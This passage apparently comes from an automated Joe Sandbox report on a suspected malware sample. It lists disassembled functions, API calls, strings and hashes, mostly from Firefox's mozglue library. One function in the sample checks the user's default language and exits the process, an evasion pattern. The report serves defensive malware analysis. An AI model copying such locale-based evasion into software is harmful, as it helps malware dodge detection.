Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 01006770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 01006774
ExitProcess.KERNEL32 ref: 010067A5
ExitProcess.KERNEL32 ref: 010067AF
ExitProcess.KERNEL32 ref: 010067B9
ExitProcess.KERNEL32 ref: 010067C3
ExitProcess.KERNEL32 ref: 010067CD

Strings

*, xrefs: 0100678C

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 7ac94bac53d01c688e2017e427850d36c7d1915662c4dba8f6b01d9bc31d27c4
Instruction ID: 4298eb0d20691d9d0ba766b3faa7765e293050cfd16054e2b3be344ed49e413e
Opcode Fuzzy Hash: 7ac94bac53d01c688e2017e427850d36c7d1915662c4dba8f6b01d9bc31d27c4
Instruction Fuzzy Hash: 5CF05E30904309EFD3699FE0F54D76C7B70FB04703F0401A8E68AC7284E6754B519B95

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

